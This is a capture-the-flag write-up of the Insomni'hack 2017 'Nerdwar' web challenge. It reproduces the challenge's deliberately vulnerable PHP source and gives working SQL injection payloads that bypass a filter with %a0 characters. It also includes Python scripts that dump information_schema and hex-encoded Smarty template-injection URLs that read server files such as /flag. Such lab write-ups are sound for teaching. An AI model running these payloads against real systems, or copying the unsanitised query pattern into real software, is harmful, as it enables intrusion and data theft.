I attended the onsite Insomni'hack 2017 CTF that took place on Friday 24th March 6pm to Saturday 25th March 4am @ Palexpo Congress Centre in Geneva, Switzerland.

Insomni'hack is a swiss, Geneva based conference and ethical hacking contest organised by SCRT an information security company based in Lausanne, Switzerland. As said, great conferences were also held before the CTF @ the Palexpo Congress Centre. These were worth assisting !

You'll find some slides from last year conferences here !

We ranked 11th/68 with the SwissMadeSecurity guys! Quite a big progress since last year (24th/62) ! Well done guys !

Dragon Sector won the CTF for the 4th time in a row ! Congrats to them !

Here's the Write-Up of one of the proposed web challenge called Nerdwar.

Target analysis

Step 1: Reconnaissance

Host

http://nerdwar.insomni.hack/

After a quick introduction :

Alt Text

Alt Text

Alt Text

 

Similarly as simplesqlin challenge from 0CTF Quals, we discovered a simple blog articles website @ /console.php :

Alt Text

After clicking on the first link, we discovered a single URL id parameter @ /console.php?id=1 :

Alt Text

Following values for id parameters are matching different articles :

/console.php?id=1 /console.php?id=2 /console.php?id=3 /console.php?id=4 /console.php?id=5

The first thing we did was obviously testing if the parameter was vulnerable to SQL Injection.

But before taking the investigation further, the organiser provided us with the source code of console.php :

Let's analyse chunk by chunk the content of this source file.

The script uses the Smarty Template Engine in order to retrieve templates from a directory @ /templates.

//error_reporting(0);
require_once('../lib/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('./templates')->setCompileDir('/tmp/templates_c')->setCacheDir('/tmp/templates_cache');

 

Then we find a simple DB connection :

// Define MySQL connection parameters
$mysqli = mysqli_connect("127.0.0.1","nerdwar","r34d0nly","nerdwar");</code></pre>
That line gives us informations about the database.

 

Then we get this filtering snippet :

// Define authorized parameters to news infos.
$allowedParameters = ['id'=>function(){ return (intval($_GET['id']) >=1); }];

// Define filters for protecting against everything.
$filterResult = call_user_func(function($parameters) use ($allowedParameters) {
        $invalidTokens = ['union select',  chr(10), chr(9), chr(11), chr(12), chr(13), chr(14), chr(15), ' ', 'sleep', 'benchmark', 'extract', '/', '-', '*', 'if', 'case', '\'', '"', '`', '(', ')', '\\'];
        foreach($parameters as $parameterName=>$parameterValue) {
                if(!in_array($parameterName, array_keys($allowedParameters))) die("Not authorized parameter detected. Just die!");
                if(!$allowedParameters[$parameterName]()) die("Specific filter isn't matching. Alert! Alert! Human detected.");
                foreach($invalidTokens as $token) {
                        if(strpos(strtolower($parameterValue), $token)) die("Invalid tokens in string. GTFO!");
                }
        }
        return true;
},$_GET);

This snippet first affects the variable $allowedParameters to an array containing the allowed parameter and their conditions. (only id parameter is allowed here)

 

The second part of the snippet is divided into 3 parts :

It declares a filtering function encapsulated in the call_user_func method and asks to inherit the variable $allowedParameters which contains the following parts :

$invalidTokens = ['union select',  chr(10), chr(9), chr(11), chr(12), chr(13), chr(14), chr(15), ' ', 'sleep', 'benchmark', 'extract', '/', '-', '*', 'if', 'case', '\'', '"', '`', '(', ')', '\\'];

Here it declares a list of invalid tokens that will be rejected if entered as parameter.

We then enter a foreach loop iterating over each parameter of the query :

foreach($parameters as $parameterName=>$parameterValue) {
                if(!in_array($parameterName, array_keys($allowedParameters))) die("Not authorized parameter detected. Just die!");
                if(!$allowedParameters[$parameterName]()) die("Specific filter isn't matching. Alert! Alert! Human detected.");
                foreach($invalidTokens as $token) {
                        if(strpos(strtolower($parameterValue), $token)) die("Invalid tokens in string. GTFO!");
                }

 

Inside it we can find three chained conditional statements :

The first condition checks if there's an invalid parameter entered by testing if each parameter is contained in the $allowedParameters array. If not it returns the following response :

Not authorized parameter detected. Just die!

The second condition checks if the specific conditions for the parameters defined in $allowedParameters are respected or not. If not it returns the following response :

Specific filter isn't matching. Alert! Alert! Human detected.

The last condition checks, after lowercasing the query values, if one of these values matches the invalid tokens defined in $invalidTokens. If a match is found it returns the following response :

Invalid tokens in string. GTFO!

Last part of the code is the template retrieving and filling part of the script :

if(!isset($_GET['id'])) {
        $result = $mysqli->query("SELECT * FROM robot_news");
        $news = [];
        while($row = $result->fetch_object()) {
                $news[$row->id] = $row->title;
        }
        $smarty->assign('news', $news);
        $smarty->display('listnews.tpl');
} else {
        $result = $mysqli->query("SELECT * FROM robot_news WHERE id = ".$_GET['id']);
        $row = $result->fetch_object();
        $smarty->assign('id', $row->id);
        $smarty->assign('title', $row->title);
        $smarty->assign('text', $row->text);
        $smarty->display($row->template.'.tpl');
}

The first condition checks if the id parameter is defined or not. If not, the following query is executed :

SELECT * FROM robot_news

Then it creates a new variable $news and affects the resulting rows in it with the id value as a key and the title as a value.

It finally assigns values contained in $news to the template with the Smarty assign() method.

If the id parameter is defined, the following query is executed :

SELECT * FROM robot_news WHERE id = ".$_GET['id']

It then assigns resulting values to the template with identifiers id, title and text.

The final method executed is the Smarty display() method which display the content of the template specified in the response of the query.

Source Analysis conclusions

  • We will need to bypass the 3 different query filters in order to perform an SQL Injection

  • We found the templates content at /templates :

Alt Text

  • We can interact with Smarty by passing correct parameters to our injection (as id, as title, as template)

Step 2: Vulnerability testing

We tried injecting a simple OR query with a false id to see if we could get the injection working :

http://nerdwar.insomni.hack/console.php?id=6 OR id=2

As expected, that failed.

We got this charming message from the server :

Alt Text

After juggling around for some times, we found a character to bypass the whitespace rejection : %a0 which is the NO-BREAK SPACE Unicode Char.

We then wrote a quick script to replace all whitespaces within our query with the bypassing character :

#!/usr/bin/python
import sys
print sys.argv[1].replace(" ","%a0")</code></pre> 

we processed our query with the script and tried injecting the following injection :

http://nerdwar.insomni.hack/console.php?id=6%a0OR%a0id=1

 

And it worked :

Alt Text

Thus, the system was indeed vulnerable to SQL Injection

Analysis conclusion

The system is vulnerable to SQL injection and the filters can be bypassed by replacing whitespaces by %a0. Thus, we could dump the database to see what's in there but we could also inject some command into Smarty template engine.

 

Exploit

Step 1: Get all columns and tables in DB using information_schema

As the GROUP_CONCAT() method is filtered and rejected because of the parenthesis, we wrote 2 quick scripts that would dump every tables and every columns :

Get Tables

import requests

for i in range(1000):
    r = requests.get("http://nerdwar.insomni.hack/console.php?id=99%a0union%a0select%a01%a0as%a0id,%a02%a0as%a0title,%a0table_name%a0as%a0text,%a00x6e65777344656661756c74%a0as%a0template%a0from%a0information_schema.tables%a0limit%a0%i,1;" %i)
    print r.content

 

Query without %a0 and hexadecimal : python http://nerdwar.insomni.hack/console.php?id=6 UNION SELECT 1 AS id, 2 AS title, table_name AS text, "newsDefault" as template from information_schema.tables limit i,1;

 

Get Columns

import requests

for i in range(1000):
    r = requests.get("http://nerdwar.insomni.hack/console.php?id=99%a0union%a0select%a01%a0as%a0id,%a02%a0as%a0title,%a0column_name%a0as%a0text,%a00x6e65777344656661756c74%a0as%a0template%a0from%a0information_schema.columns%a0limit%a0%i,1;" %i)
    print r.content</code></pre>

 

Query without %a0 and hexadecimal : http://nerdwar.insomni.hack/console.php?id=6 UNION SELECT 1 AS id, 2 AS title, column_name AS text, "newsDefault" as template from information_schema.columns limit i,1;

We had to encode the template parameter as hexadecimal because of the bypassing of the double quotes.

 

then a simple grep command gave us the informations we searched for :

Tables in DB

<p class="news">CHARACTER_SETS</p>
<p class="news">COLLATIONS</p>
<p class="news">COLLATION_CHARACTER_SET_APPLICABILITY</p>
<p class="news">COLUMNS</p>
<p class="news">COLUMN_PRIVILEGES</p>
<p class="news">ENGINES</p>
<p class="news">EVENTS</p>
<p class="news">FILES</p>
<p class="news">GLOBAL_STATUS</p>
<p class="news">GLOBAL_VARIABLES</p>
<p class="news">KEY_COLUMN_USAGE</p>
<p class="news">OPTIMIZER_TRACE</p>
<p class="news">PARAMETERS</p>
<p class="news">PARTITIONS</p>
<p class="news">PLUGINS</p>
<p class="news">PROCESSLIST</p>
<p class="news">PROFILING</p>
<p class="news">REFERENTIAL_CONSTRAINTS</p>
<p class="news">ROUTINES</p>
<p class="news">SCHEMATA</p>
<p class="news">SCHEMA_PRIVILEGES</p>
<p class="news">SESSION_STATUS</p>
<p class="news">SESSION_VARIABLES</p>
<p class="news">STATISTICS</p>
<p class="news">TABLES</p>
<p class="news">TABLESPACES</p>
<p class="news">TABLE_CONSTRAINTS</p>
<p class="news">TABLE_PRIVILEGES</p>
<p class="news">TRIGGERS</p>
<p class="news">USER_PRIVILEGES</p>
<p class="news">VIEWS</p>
<p class="news">INNODB_LOCKS</p>
<p class="news">INNODB_TRX</p>
<p class="news">INNODB_SYS_DATAFILES</p>
<p class="news">INNODB_FT_CONFIG</p>
<p class="news">INNODB_SYS_VIRTUAL</p>
<p class="news">INNODB_CMP</p>
<p class="news">INNODB_FT_BEING_DELETED</p>
<p class="news">INNODB_CMP_RESET</p>
<p class="news">INNODB_CMP_PER_INDEX</p>
<p class="news">INNODB_CMPMEM_RESET</p>
<p class="news">INNODB_FT_DELETED</p>
<p class="news">INNODB_BUFFER_PAGE_LRU</p>
<p class="news">INNODB_LOCK_WAITS</p>
<p class="news">INNODB_TEMP_TABLE_INFO</p>
<p class="news">INNODB_SYS_INDEXES</p>
<p class="news">INNODB_SYS_TABLES</p>
<p class="news">INNODB_SYS_FIELDS</p>
<p class="news">INNODB_CMP_PER_INDEX_RESET</p>
<p class="news">INNODB_BUFFER_PAGE</p>
<p class="news">INNODB_FT_DEFAULT_STOPWORD</p>
<p class="news">INNODB_FT_INDEX_TABLE</p>
<p class="news">INNODB_FT_INDEX_CACHE</p>
<p class="news">INNODB_SYS_TABLESPACES</p>
<p class="news">INNODB_METRICS</p>
<p class="news">INNODB_SYS_FOREIGN_COLS</p>
<p class="news">INNODB_CMPMEM</p>
<p class="news">INNODB_BUFFER_POOL_STATS</p>
<p class="news">INNODB_SYS_COLUMNS</p>
<p class="news">INNODB_SYS_FOREIGN</p>
<p class="news">INNODB_SYS_TABLESTATS</p>
<p class="news">robot_news</p>

 

Columns in DB


<p class="news">CHARACTER_SET_NAME</p>
<p class="news">DEFAULT_COLLATE_NAME</p>
<p class="news">DESCRIPTION</p>
<p class="news">MAXLEN</p>
<p class="news">COLLATION_NAME</p>
<p class="news">ID</p>
<p class="news">IS_DEFAULT</p>
<p class="news">IS_COMPILED</p>
<p class="news">SORTLEN</p>
<p class="news">TABLE_CATALOG</p>
<p class="news">TABLE_SCHEMA</p>
<p class="news">TABLE_NAME</p>
<p class="news">COLUMN_NAME</p>
<p class="news">ORDINAL_POSITION</p>
<p class="news">COLUMN_DEFAULT</p>
<p class="news">IS_NULLABLE</p>
<p class="news">DATA_TYPE</p>
<p class="news">CHARACTER_MAXIMUM_LENGTH</p>
<p class="news">CHARACTER_OCTET_LENGTH</p>
<p class="news">NUMERIC_PRECISION</p>
<p class="news">NUMERIC_SCALE</p>
<p class="news">DATETIME_PRECISION</p>
<p class="news">COLUMN_TYPE</p>
<p class="news">COLUMN_KEY</p>
<p class="news">EXTRA</p>
<p class="news">PRIVILEGES</p>
<p class="news">COLUMN_COMMENT</p>
<p class="news">GENERATION_EXPRESSION</p>
<p class="news">GRANTEE</p>
<p class="news">PRIVILEGE_TYPE</p>
<p class="news">IS_GRANTABLE</p>
<p class="news">ENGINE</p>
<p class="news">SUPPORT</p>
<p class="news">COMMENT</p>
<p class="news">TRANSACTIONS</p>
<p class="news">XA</p>
<p class="news">SAVEPOINTS</p>
<p class="news">EVENT_CATALOG</p>
<p class="news">EVENT_SCHEMA</p>
<p class="news">EVENT_NAME</p>
<p class="news">DEFINER</p>
<p class="news">TIME_ZONE</p>
<p class="news">EVENT_BODY</p>
<p class="news">EVENT_DEFINITION</p>
<p class="news">EVENT_TYPE</p>
<p class="news">EXECUTE_AT</p>
<p class="news">INTERVAL_VALUE</p>
<p class="news">INTERVAL_FIELD</p>
<p class="news">SQL_MODE</p>
<p class="news">STARTS</p>
<p class="news">ENDS</p>
<p class="news">STATUS</p>
<p class="news">ON_COMPLETION</p>
<p class="news">CREATED</p>
<p class="news">LAST_ALTERED</p>
<p class="news">LAST_EXECUTED</p>
<p class="news">EVENT_COMMENT</p>
<p class="news">ORIGINATOR</p>
<p class="news">CHARACTER_SET_CLIENT</p>
<p class="news">COLLATION_CONNECTION</p>
<p class="news">DATABASE_COLLATION</p>
<p class="news">FILE_ID</p>
<p class="news">FILE_NAME</p>
<p class="news">FILE_TYPE</p>
<p class="news">TABLESPACE_NAME</p>
<p class="news">LOGFILE_GROUP_NAME</p>
<p class="news">LOGFILE_GROUP_NUMBER</p>
<p class="news">FULLTEXT_KEYS</p>
<p class="news">DELETED_ROWS</p>
<p class="news">UPDATE_COUNT</p>
<p class="news">FREE_EXTENTS</p>
<p class="news">TOTAL_EXTENTS</p>
<p class="news">EXTENT_SIZE</p>
<p class="news">INITIAL_SIZE</p>
<p class="news">MAXIMUM_SIZE</p>
<p class="news">AUTOEXTEND_SIZE</p>
<p class="news">CREATION_TIME</p>
<p class="news">LAST_UPDATE_TIME</p>
<p class="news">LAST_ACCESS_TIME</p>
<p class="news">RECOVER_TIME</p>
<p class="news">TRANSACTION_COUNTER</p>
<p class="news">VERSION</p>
<p class="news">ROW_FORMAT</p>
<p class="news">TABLE_ROWS</p>
<p class="news">AVG_ROW_LENGTH</p>
<p class="news">DATA_LENGTH</p>
<p class="news">MAX_DATA_LENGTH</p>
<p class="news">INDEX_LENGTH</p>
<p class="news">DATA_FREE</p>
<p class="news">CREATE_TIME</p>
<p class="news">UPDATE_TIME</p>
<p class="news">CHECK_TIME</p>
<p class="news">CHECKSUM</p>
<p class="news">VARIABLE_NAME</p>
<p class="news">VARIABLE_VALUE</p>
<p class="news">CONSTRAINT_CATALOG</p>
<p class="news">CONSTRAINT_SCHEMA</p>
<p class="news">CONSTRAINT_NAME</p>
<p class="news">POSITION_IN_UNIQUE_CONSTRAINT</p>
<p class="news">REFERENCED_TABLE_SCHEMA</p>
<p class="news">REFERENCED_TABLE_NAME</p>
<p class="news">REFERENCED_COLUMN_NAME</p>
<p class="news">QUERY</p>
<p class="news">TRACE</p>
<p class="news">MISSING_BYTES_BEYOND_MAX_MEM_SIZE</p>
<p class="news">INSUFFICIENT_PRIVILEGES</p>
<p class="news">SPECIFIC_CATALOG</p>
<p class="news">SPECIFIC_SCHEMA</p>
<p class="news">SPECIFIC_NAME</p>
<p class="news">PARAMETER_MODE</p>
<p class="news">PARAMETER_NAME</p>
<p class="news">DTD_IDENTIFIER</p>
<p class="news">ROUTINE_TYPE</p>
<p class="news">PARTITION_NAME</p>
<p class="news">SUBPARTITION_NAME</p>
<p class="news">PARTITION_ORDINAL_POSITION</p>
<p class="news">SUBPARTITION_ORDINAL_POSITION</p>
<p class="news">PARTITION_METHOD</p>
<p class="news">SUBPARTITION_METHOD</p>
<p class="news">PARTITION_EXPRESSION</p>
<p class="news">SUBPARTITION_EXPRESSION</p>
<p class="news">PARTITION_DESCRIPTION</p>
<p class="news">PARTITION_COMMENT</p>
<p class="news">NODEGROUP</p>
<p class="news">PLUGIN_NAME</p>
<p class="news">PLUGIN_VERSION</p>
<p class="news">PLUGIN_STATUS</p>
<p class="news">PLUGIN_TYPE</p>
<p class="news">PLUGIN_TYPE_VERSION</p>
<p class="news">PLUGIN_LIBRARY</p>
<p class="news">PLUGIN_LIBRARY_VERSION</p>
<p class="news">PLUGIN_AUTHOR</p>
<p class="news">PLUGIN_DESCRIPTION</p>
<p class="news">PLUGIN_LICENSE</p>
<p class="news">LOAD_OPTION</p>
<p class="news">USER</p>
<p class="news">HOST</p>
<p class="news">DB</p>
<p class="news">COMMAND</p>
<p class="news">TIME</p>
<p class="news">STATE</p>
<p class="news">INFO</p>
<p class="news">QUERY_ID</p>
<p class="news">SEQ</p>
<p class="news">DURATION</p>
<p class="news">CPU_USER</p>
<p class="news">CPU_SYSTEM</p>
<p class="news">CONTEXT_VOLUNTARY</p>
<p class="news">CONTEXT_INVOLUNTARY</p>
<p class="news">BLOCK_OPS_IN</p>
<p class="news">BLOCK_OPS_OUT</p>
<p class="news">MESSAGES_SENT</p>
<p class="news">MESSAGES_RECEIVED</p>
<p class="news">PAGE_FAULTS_MAJOR</p>
<p class="news">PAGE_FAULTS_MINOR</p>
<p class="news">SWAPS</p>
<p class="news">SOURCE_FUNCTION</p>
<p class="news">SOURCE_FILE</p>
<p class="news">SOURCE_LINE</p>
<p class="news">UNIQUE_CONSTRAINT_CATALOG</p>
<p class="news">UNIQUE_CONSTRAINT_SCHEMA</p>
<p class="news">UNIQUE_CONSTRAINT_NAME</p>
<p class="news">MATCH_OPTION</p>
<p class="news">UPDATE_RULE</p>
<p class="news">DELETE_RULE</p>
<p class="news">ROUTINE_CATALOG</p>
<p class="news">ROUTINE_SCHEMA</p>
<p class="news">ROUTINE_NAME</p>
<p class="news">ROUTINE_BODY</p>
<p class="news">ROUTINE_DEFINITION</p>
<p class="news">EXTERNAL_NAME</p>
<p class="news">EXTERNAL_LANGUAGE</p>
<p class="news">PARAMETER_STYLE</p>
<p class="news">IS_DETERMINISTIC</p>
<p class="news">SQL_DATA_ACCESS</p>
<p class="news">SQL_PATH</p>
<p class="news">SECURITY_TYPE</p>
<p class="news">ROUTINE_COMMENT</p>
<p class="news">CATALOG_NAME</p>
<p class="news">SCHEMA_NAME</p>
<p class="news">DEFAULT_CHARACTER_SET_NAME</p>
<p class="news">DEFAULT_COLLATION_NAME</p>
<p class="news">NON_UNIQUE</p>
<p class="news">INDEX_SCHEMA</p>
<p class="news">INDEX_NAME</p>
<p class="news">SEQ_IN_INDEX</p>
<p class="news">COLLATION</p>
<p class="news">CARDINALITY</p>
<p class="news">SUB_PART</p>
<p class="news">PACKED</p>
<p class="news">NULLABLE</p>
<p class="news">INDEX_TYPE</p>
<p class="news">INDEX_COMMENT</p>
<p class="news">TABLE_TYPE</p>
<p class="news">AUTO_INCREMENT</p>
<p class="news">TABLE_COLLATION</p>
<p class="news">CREATE_OPTIONS</p>
<p class="news">TABLE_COMMENT</p>
<p class="news">TABLESPACE_TYPE</p>
<p class="news">NODEGROUP_ID</p>
<p class="news">TABLESPACE_COMMENT</p>
<p class="news">CONSTRAINT_TYPE</p>
<p class="news">TRIGGER_CATALOG</p>
<p class="news">TRIGGER_SCHEMA</p>
<p class="news">TRIGGER_NAME</p>
<p class="news">EVENT_MANIPULATION</p>
<p class="news">EVENT_OBJECT_CATALOG</p>
<p class="news">EVENT_OBJECT_SCHEMA</p>
<p class="news">EVENT_OBJECT_TABLE</p>
<p class="news">ACTION_ORDER</p>
<p class="news">ACTION_CONDITION</p>
<p class="news">ACTION_STATEMENT</p>
<p class="news">ACTION_ORIENTATION</p>
<p class="news">ACTION_TIMING</p>
<p class="news">ACTION_REFERENCE_OLD_TABLE</p>
<p class="news">ACTION_REFERENCE_NEW_TABLE</p>
<p class="news">ACTION_REFERENCE_OLD_ROW</p>
<p class="news">ACTION_REFERENCE_NEW_ROW</p>
<p class="news">VIEW_DEFINITION</p>
<p class="news">CHECK_OPTION</p>
<p class="news">IS_UPDATABLE</p>
<p class="news">lock_id</p>
<p class="news">lock_trx_id</p>
<p class="news">lock_mode</p>
<p class="news">lock_type</p>
<p class="news">lock_table</p>
<p class="news">lock_index</p>
<p class="news">lock_space</p>
<p class="news">lock_page</p>
<p class="news">lock_rec</p>
<p class="news">lock_data</p>
<p class="news">trx_id</p>
<p class="news">trx_state</p>
<p class="news">trx_started</p>
<p class="news">trx_requested_lock_id</p>
<p class="news">trx_wait_started</p>
<p class="news">trx_weight</p>
<p class="news">trx_mysql_thread_id</p>
<p class="news">trx_query</p>
<p class="news">trx_operation_state</p>
<p class="news">trx_tables_in_use</p>
<p class="news">trx_tables_locked</p>
<p class="news">trx_lock_structs</p>
<p class="news">trx_lock_memory_bytes</p>
<p class="news">trx_rows_locked</p>
<p class="news">trx_rows_modified</p>
<p class="news">trx_concurrency_tickets</p>
<p class="news">trx_isolation_level</p>
<p class="news">trx_unique_checks</p>
<p class="news">trx_foreign_key_checks</p>
<p class="news">trx_last_foreign_key_error</p>
<p class="news">trx_adaptive_hash_latched</p>
<p class="news">trx_adaptive_hash_timeout</p>
<p class="news">trx_is_read_only</p>
<p class="news">trx_autocommit_non_locking</p>
<p class="news">SPACE</p>
<p class="news">PATH</p>
<p class="news">KEY</p>
<p class="news">VALUE</p>
<p class="news">TABLE_ID</p>
<p class="news">POS</p>
<p class="news">BASE_POS</p>
<p class="news">page_size</p>
<p class="news">compress_ops</p>
<p class="news">compress_ops_ok</p>
<p class="news">compress_time</p>
<p class="news">uncompress_ops</p>
<p class="news">uncompress_time</p>
<p class="news">DOC_ID</p>
<p class="news">database_name</p>
<p class="news">buffer_pool_instance</p>
<p class="news">pages_used</p>
<p class="news">pages_free</p>
<p class="news">relocation_ops</p>
<p class="news">relocation_time</p>
<p class="news">POOL_ID</p>
<p class="news">LRU_POSITION</p>
<p class="news">PAGE_NUMBER</p>
<p class="news">PAGE_TYPE</p>
<p class="news">FLUSH_TYPE</p>
<p class="news">FIX_COUNT</p>
<p class="news">IS_HASHED</p>
<p class="news">NEWEST_MODIFICATION</p>
<p class="news">OLDEST_MODIFICATION</p>
<p class="news">ACCESS_TIME</p>
<p class="news">NUMBER_RECORDS</p>
<p class="news">DATA_SIZE</p>
<p class="news">COMPRESSED_SIZE</p>
<p class="news">COMPRESSED</p>
<p class="news">IO_FIX</p>
<p class="news">IS_OLD</p>
<p class="news">FREE_PAGE_CLOCK</p>
<p class="news">requesting_trx_id</p>
<p class="news">requested_lock_id</p>
<p class="news">blocking_trx_id</p>
<p class="news">blocking_lock_id</p>
<p class="news">NAME</p>
<p class="news">N_COLS</p>
<p class="news">PER_TABLE_TABLESPACE</p>
<p class="news">IS_COMPRESSED</p>
<p class="news">INDEX_ID</p>
<p class="news">TYPE</p>
<p class="news">N_FIELDS</p>
<p class="news">PAGE_NO</p>
<p class="news">MERGE_THRESHOLD</p>
<p class="news">FLAG</p>
<p class="news">FILE_FORMAT</p>
<p class="news">ZIP_PAGE_SIZE</p>
<p class="news">SPACE_TYPE</p>
<p class="news">BLOCK_ID</p>
<p class="news">PAGE_STATE</p>
<p class="news">WORD</p>
<p class="news">FIRST_DOC_ID</p>
<p class="news">LAST_DOC_ID</p>
<p class="news">DOC_COUNT</p>
<p class="news">POSITION</p>
<p class="news">FS_BLOCK_SIZE</p>
<p class="news">FILE_SIZE</p>
<p class="news">ALLOCATED_SIZE</p>
<p class="news">SUBSYSTEM</p>
<p class="news">COUNT</p>
<p class="news">MAX_COUNT</p>
<p class="news">MIN_COUNT</p>
<p class="news">AVG_COUNT</p>
<p class="news">COUNT_RESET</p>
<p class="news">MAX_COUNT_RESET</p>
<p class="news">MIN_COUNT_RESET</p>
<p class="news">AVG_COUNT_RESET</p>
<p class="news">TIME_ENABLED</p>
<p class="news">TIME_DISABLED</p>
<p class="news">TIME_ELAPSED</p>
<p class="news">TIME_RESET</p>
<p class="news">FOR_COL_NAME</p>
<p class="news">REF_COL_NAME</p>
<p class="news">POOL_SIZE</p>
<p class="news">FREE_BUFFERS</p>
<p class="news">DATABASE_PAGES</p>
<p class="news">OLD_DATABASE_PAGES</p>
<p class="news">MODIFIED_DATABASE_PAGES</p>
<p class="news">PENDING_DECOMPRESS</p>
<p class="news">PENDING_READS</p>
<p class="news">PENDING_FLUSH_LRU</p>
<p class="news">PENDING_FLUSH_LIST</p>
<p class="news">PAGES_MADE_YOUNG</p>
<p class="news">PAGES_NOT_MADE_YOUNG</p>
<p class="news">PAGES_MADE_YOUNG_RATE</p>
<p class="news">PAGES_MADE_NOT_YOUNG_RATE</p>
<p class="news">NUMBER_PAGES_READ</p>
<p class="news">NUMBER_PAGES_CREATED</p>
<p class="news">NUMBER_PAGES_WRITTEN</p>
<p class="news">PAGES_READ_RATE</p>
<p class="news">PAGES_CREATE_RATE</p>
<p class="news">PAGES_WRITTEN_RATE</p>
<p class="news">NUMBER_PAGES_GET</p>
<p class="news">HIT_RATE</p>
<p class="news">YOUNG_MAKE_PER_THOUSAND_GETS</p>
<p class="news">NOT_YOUNG_MAKE_PER_THOUSAND_GETS</p>
<p class="news">NUMBER_PAGES_READ_AHEAD</p>
<p class="news">NUMBER_READ_AHEAD_EVICTED</p>
<p class="news">READ_AHEAD_RATE</p>
<p class="news">READ_AHEAD_EVICTED_RATE</p>
<p class="news">LRU_IO_TOTAL</p>
<p class="news">LRU_IO_CURRENT</p>
<p class="news">UNCOMPRESS_TOTAL</p>
<p class="news">UNCOMPRESS_CURRENT</p>
<p class="news">MTYPE</p>
<p class="news">PRTYPE</p>
<p class="news">LEN</p>
<p class="news">FOR_NAME</p>
<p class="news">REF_NAME</p>
<p class="news">STATS_INITIALIZED</p>
<p class="news">NUM_ROWS</p>
<p class="news">CLUST_INDEX_SIZE</p>
<p class="news">OTHER_INDEX_SIZE</p>
<p class="news">MODIFIED_COUNTER</p>
<p class="news">AUTOINC</p>
<p class="news">REF_COUNT</p>
<p class="news">title</p>
<p class="news">text</p>
<p class="news">template</p>

 

Unfortunately no flag seemed to be present in the DB ... But as we saw in the source code analysis, there was one remaining track we could explore; Smarty Templates Engine interaction.

Step 2: Investigate Smarty Built-In functions

As we investigated through Smarty's Documentation we found a bunch of built-in functions that would allow us to retrieve file on server such as {include} and {fetch}.

We also found that we could evaluate and render a template from a string with an eval: snippet.

We only had to encode the template payload into hexadecimal in order to bypass the filter. We decided to try to retrieve console.php file from the server :

http://nerdwar.insomni.hack/console.php?id=6%a0UNION%a0SELECT%a01%a0AS%a0id,%a02%a0AS%a0title,%a03%a0AS%a0text,%a00x6576616c3a7b696e636c7564652066696c653d636f6e736f6c652e7068707d%a0as%a0template

 

Without hex encoding and whitespaces replacing :

http://nerdwar.insomni.hack/console.php?id=6 UNION SELECT 1 AS id, 2 AS title, 3 AS text, "eval:{include file=\"console.php\"}" as template

 

And it worked !!!!!!  

We were one step away from the flag located @ /flag (we found that quite randomly after juggling around with some path)

We then obtained the flag using the {fetch} method:

http://nerdwar.insomni.hack/console.php?id=6%a0UNION%a0SELECT%a01%a0AS%a0id,%a02%a0AS%a0title,%a03%a0AS%a0text,%a00x6576616c3a7b66657463682066696c653d2f666c61677d%a0as%a0template

 

Without hex encoding and whitespaces replacing : http://nerdwar.insomni.hack/console.php?id=6 UNION SELECT 1 AS id, 2 AS title, 3 AS text, "eval:{fetch file=\"/flag\"}" as template  

Alt Text

Thanks to @xajkep with whom i teamed up to break this challenge ! It was such a good time !